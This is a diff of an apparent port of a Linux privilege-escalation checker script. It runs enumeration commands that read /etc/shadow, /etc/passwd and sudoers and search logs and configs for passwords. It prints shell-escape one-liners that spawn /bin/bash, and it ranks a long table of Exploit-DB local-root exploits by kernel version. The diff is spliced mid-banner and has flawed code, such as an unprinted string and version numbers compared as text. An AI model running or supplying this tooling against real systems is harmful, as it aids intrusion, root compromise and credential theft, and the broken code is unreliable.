"keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit": {"minver": "0", "maxver": "2.6.28.3", + "exploitdb": "9083", "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "Test Kernel Local Root Exploit 0day": {"minver": "2.6.18", "maxver": "2.6.30", "exploitdb": "9191", + "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)": {"minver": "2.6.9", "maxver": "2.6.30", + "exploitdb": "9208", "lang": "c", + "keywords": {"loc": ["pkg"], + "val": "pulse"}}, + "2.x sock_sendpage() Local Ring0 Root Exploit": {"minver": "2", "maxver": "2.99", "exploitdb": "9435", + "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.x sock_sendpage() Local Root Exploit 2": {"minver": "2", "maxver": "2.99", "exploitdb": "9436", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)": {"minver": "2.4", "maxver": "2.6.99", + "exploitdb": "9479", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit": {"minver": "2.6", "maxver": "2.6.19", + "exploitdb": "9542", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9545", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)": {"minver": "0", "maxver": "2.6.19", "exploitdb": "9574", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit": {"minver": "0", "maxver": "2.6.19", "exploitdb": "9575", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [2]": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9598", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [3]": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9641", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation": {"minver": "2.4.1", "maxver": "2.6.32", + "exploitdb": "9844", "lang": "python", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "'pipe.c' Local Privilege Escalation Vulnerability": {"minver": "2.4.1", "maxver": "2.6.32", + "exploitdb": "10018", "lang": "sh", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.18-20 2009 Local Root Exploit": {"minver": "2.6.18", "maxver": "2.6.20", "exploitdb": "10613", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Apache Spamassassin Milter Plugin Remote Root Command Execution": {"minver": "0", "maxver": "99", + "exploitdb": "11662", "lang": "sh", + "keywords": {"loc": ["proc"], + "val": "spamass-milter"}}, + "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation": {"minver": "0", "maxver": "2.6.34", "exploitdb": "12130", + "lang": "python", + "keywords": {"loc": ["mnt"], "val": "reiser"}}, + "Ubuntu PAM MOTD local root": {"minver": "7", "maxver": "10.04", "exploitdb": "14339", "lang": "sh", + "keywords": {"loc": ["os"], "val": "ubuntu"}}, + "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.36", "exploitdb": "14814", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Kernel ia32syscall Emulation Privilege Escalation": {"minver": "0", "maxver": "99", "exploitdb": "15023", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Linux RDS Protocol Local Privilege Escalation": {"minver": "0", "maxver": "2.6.36", "exploitdb": "15285", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "<= 2.6.37 Local Privilege Escalation": {"minver": "0", "maxver": "2.6.37", "exploitdb": "15704", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.37-rc2 ACPI custom_method Privilege Escalation": {"minver": "0", "maxver": "2.6.37", + "exploitdb": "15774", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "CAP_SYS_ADMIN to root Exploit": {"minver": "0", "maxver": "99", "exploitdb": "15916", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)": {"minver": "0", "maxver": "99", "exploitdb": "15944", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.36.2 Econet Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.36.2", "exploitdb": "17787", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Sendpage Local Privilege Escalation": {"minver": "0", "maxver": "99", "exploitdb": "19933", "lang": "ruby", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability": {"minver": "2.4.18", + "maxver": "2.4.19", + "exploitdb": "21598", "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)": {"minver": "2.2", "maxver": "2.4.99", + "exploitdb": "22362", "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)": {"minver": "2.2", "maxver": "2.4.99", + "exploitdb": "22363", "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "Samba 2.2.8 Share Local Privilege Elevation Vulnerability": {"minver": "2.2.8", "maxver": "2.2.8", + "exploitdb": "23674", "lang": "c", + "keywords": {"loc": ["proc", "pkg"], + "val": "samba"}}, + "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability": {"minver": "0", "maxver": "99", + "exploitdb": "25307", + "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "open-time Capability file_ns_capable() Privilege Escalation": {"minver": "0", "maxver": "99", + "exploitdb": "25450", "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + } + + # variable declaration + os = sysinfo["OS"]["results"][0] + version = sysinfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] + langs = devtools["TOOLS"]["results"] + procs = pkgsandprocs["PROCS"]["results"] + kernel = str(sysinfo["KERNEL"]["results"][0]) + mount = driveinfo["MOUNT"]["results"] + # pkgs = pkgsandprocs["PKGS"]["results"] # TODO currently not using packages for sploit appicability but may in future + + # lists to hold ranked, applicable sploits + # note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks + # all applicable exploits should be checked and this function could probably use some improvement + avgprob = [] + highprob = [] + + for sploit in sploits: + lang = 0 # use to rank applicability of sploits + keyword = sploits[sploit]["keywords"]["val"] + sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit][ + "exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] + # first check for kernell applicability + if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): + # next check language applicability + if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): + lang = 1 # language found, increase applicability score + elif sploits[sploit]["lang"] == "sh": + lang = 1 # language found, increase applicability score + elif sploits[sploit]["lang"] in str(langs): + lang = 1 # language found, increase applicability score + if lang == 0: + sploitout = sploitout + "**" # added mark if language not detected on system + # next check keyword matches to determine if some sploits have a higher probability of success + for loc in sploits[sploit]["keywords"]["loc"]: + if loc == "proc": + for proc in procs: + if keyword in proc: + highprob.append( + sploitout) # if sploit is associated with a running process consider it a higher probability/applicability + break + elif loc == "os": + if (keyword in os) or (keyword in kernel): + highprob.append( + sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability + break + elif loc == "mnt": + if keyword in mount: + highprob.append( + sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability + break + else: + avgprob.append( + sploitout) # otherwise, consider average probability/applicability based only on kernel version + + print(" Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!") + print() + + print() + " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" + for exploit in highprob: + print(" - " + exploit) + print() + + print(" The following exploits are applicable to this kernel version and should be investigated as well") + for exploit in avgprob: + print(" - " + exploit) + +def run_check(): + + try: + import argparse + import sys + + # Parse out all of the command line arguments + parser = argparse.ArgumentParser(description='Try to gather system information and find likely exploits') + parser.add_argument('-s', '--searches', help='Skip time consumming or resource intensive searches', required=False, action='store_true') + parser.add_argument('-w', '--write', help='Wether to write a log file, can be used with -0 to specify name/location ', required=False, action='store_true') + parser.add_argument('-o', '--outfile', help='The file to write results (needs to be writable for current user)', required=False, default='linuxprivchecker.log') + args = parser.parse_args() + + if args.searches: + processsearches = False + else: + processsearches = True + + # if write is requeted, create a custom logger to send stout to log file as well + if args.write: + # import sys for io redirection + import sys + + class Logger(object): + def __init__(self): + self.terminal = sys.stdout + self.log = open(args.outfile, 'a') + + def write(self, message): + self.terminal.write(message) + self.log.write(message) + sys.stdout = Logger() + + except ImportError: + print('Arguments could not be processed, defaulting to print everything') + processsearches = True + + # title / formatting + bigline = "=======================================================================================" + print(bigline) + print(""" + __ _ ____ _ ________ __ + / / (_)___ __ ___ __/ __ \_____(_) __/ ____/ /_ ___ _____/ /_____ _____ + / / / / __ \/ / / / |/_/ /_/ / ___/ / | / / / / __ \/ _ \/ ___/ //_/ _ \/ ___/ + / /___/ / / / / /_/ /> /dev/null", "msg":"fstab entries", "results":results} - } - - driveInfo = execCmd(driveInfo) - printResults(driveInfo) - - # Scheduled Cron Jobs - cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results}, - "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results} - } - - cronInfo = execCmd(cronInfo) - printResults(cronInfo) - - # User Info - print("\\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\\n") - - userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, - "ID":{"cmd":"id","msg":"Current User ID", "results":results}, - "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, - "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print($1)}'", "msg":"Super Users Found:", "results":results}, - "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, - "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, - "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, - "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results} - } - - userInfo = execCmd(userInfo) - printResults(userInfo) - - if "root" in userInfo["ID"]["results"][0]: - print("[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\\n") - - # File/Directory Privs - print("[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\\n") - - fdPerms = {"WWDIRSROOT":{"cmd":"find / \\( -wholename '/home/homedir*' -prune \\) -o \\( -type d -perm -0002 \\) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, - "WWDIRS":{"cmd":"find / \\( -wholename '/home/homedir*' -prune \\) -o \\( -type d -perm -0002 \\) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, - "WWFILES":{"cmd":"find / \\( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \\) -o \\( -type f -perm -0002 \\) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results}, - "SUID":{"cmd":"find / \\( -perm -2000 -o -perm -4000 \\) -exec ls -ld {} \\; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results}, - "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results} - } - - fdPerms = execCmd(fdPerms) - printResults(fdPerms) - - pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results}, - "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results}, - "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results} - } - - pwdFiles = execCmd(pwdFiles) - printResults(pwdFiles) - - # Processes and Applications - print("[*] ENUMERATING PROCESSES AND APPLICATIONS...\\n") - - if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: - getPkgs = "dpkg -l | awk '{$1=$4=\\"\\"; print($0)}'" # debian - else: - getPkgs = "rpm -qa | sort -u" # RH/other - - getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print($1,$2,$9,$10,$11)}'", "msg":"Current processes", "results":results}, - "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} - } - - getAppProc = execCmd(getAppProc) - printResults(getAppProc) # comment to reduce output - - otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results}, - "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results}, - "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results} - } - - otherApps = execCmd(otherApps) - printResults(otherApps) - - print("[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\\n") - - # find the package information for the processes currently running - # under root or another super user - - procs = getAppProc["PROCS"]["results"] - pkgs = getAppProc["PKGS"]["results"] - supusers = userInfo["SUPUSERS"]["results"] - procdict = {} # dictionary to hold the processes running as super users - - for proc in procs: # loop through each process - relatedpkgs = [] # list to hold the packages related to a process - try: - for user in supusers: # loop through the known super users - if (user != "") and (user in proc): # if the process is being run by a super user - procname = proc.split(" ")[4] # grab the process name - if "/" in procname: - splitname = procname.split("/") - procname = splitname[len(splitname)-1] - for pkg in pkgs: # loop through the packages - if not len(procname) < 3: # name too short to get reliable package results - if procname in pkg: - if procname in procdict: - relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list - if pkg not in relatedpkgs: - relatedpkgs.append(pkg) # add pkg to the list - procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry - except: - pass - - for key in procdict: - print(" " + key) # print the process name - try: - if not procdict[key][0] == "": # only print the rest if related packages were found - print(" Possible Related Packages: ") - for entry in procdict[key]: - print(" " + entry) # print each related package - except: - pass - - # EXPLOIT ENUMERATION - - # First discover the avaialable tools - print - print("[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\\n") - - devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} - devTools = execCmd(devTools) - printResults(devTools) - - print("[+] Related Shell Escape Sequences...\\n") - escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\\"/bin/bash\\")}'"], "perl":["perl -e 'exec \\"/bin/bash\\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\\"/bin/bash\\")}' \\\\;"], "nmap":["--interactive"]} - for cmd in escapeCmd: - for result in devTools["TOOLS"]["results"]: - if cmd in result: - for item in escapeCmd[cmd]: - print(" " + cmd + "-->\\t" + item) - print - print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\\n") - - # Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) - # sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' - sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}}, - "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}}, - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, - "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}}, - "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, - "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}}, - "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, - "2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, - "2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}}, - "2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}}, - "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}}, - "Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}}, - "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}}, - "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - } - - # variable declaration - os = sysInfo["OS"]["results"][0] - version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] - langs = devTools["TOOLS"]["results"] - procs = getAppProc["PROCS"]["results"] - kernel = str(sysInfo["KERNEL"]["results"][0]) - mount = driveInfo["MOUNT"]["results"] - #pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future - - - # lists to hold ranked, applicable sploits - # note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks - # all applicable exploits should be checked and this function could probably use some improvement - avgprob = [] - highprob = [] - - for sploit in sploits: - lang = 0 # use to rank applicability of sploits - keyword = sploits[sploit]["keywords"]["val"] - sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] - # first check for kernell applicability - if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): - # next check language applicability - if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): - lang = 1 # language found, increase applicability score - elif sploits[sploit]["lang"] == "sh": - lang = 1 # 